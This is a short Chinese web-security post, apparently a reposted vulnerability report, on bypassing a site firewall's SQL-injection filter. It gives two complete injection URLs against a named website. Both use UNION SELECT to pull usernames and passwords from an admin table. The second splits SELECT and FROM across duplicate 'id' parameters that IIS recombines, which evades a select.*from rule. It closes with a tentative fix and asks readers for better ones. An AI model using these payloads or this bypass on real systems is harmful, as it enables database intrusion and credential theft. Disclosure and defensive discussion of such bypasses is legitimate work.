防范sql的部分防护规则可被绕过,继续注入... 很简单，利用iis对复参的特殊处理，即可绕过防护规则. 构造如下请求: http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin 返回: 已经被成功阻断，简单猜测规则应该形如select.*from www.2cto.com 利用复参，分割select与from，构造如下请求: http://www.51qljr.com/xinxi/shownews. asp ?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17&id=18 from admin 返回 修复方案： 这个修复我还没想好，望看者给予补充: 在进行规则匹配之前，首先向iis一样对复参进行重组,如请求name=select&name=from，重组后name=select,from然后在进行规则匹配 但是这样代价很过，对所有的请求都要进行检查，是否得不偿失.... 还希望大家给出更好的修改建议... 作者 ： possible
查看更多关于智创网站专业级防火墙绕过 - 网站安全 - 自学p的详细内容...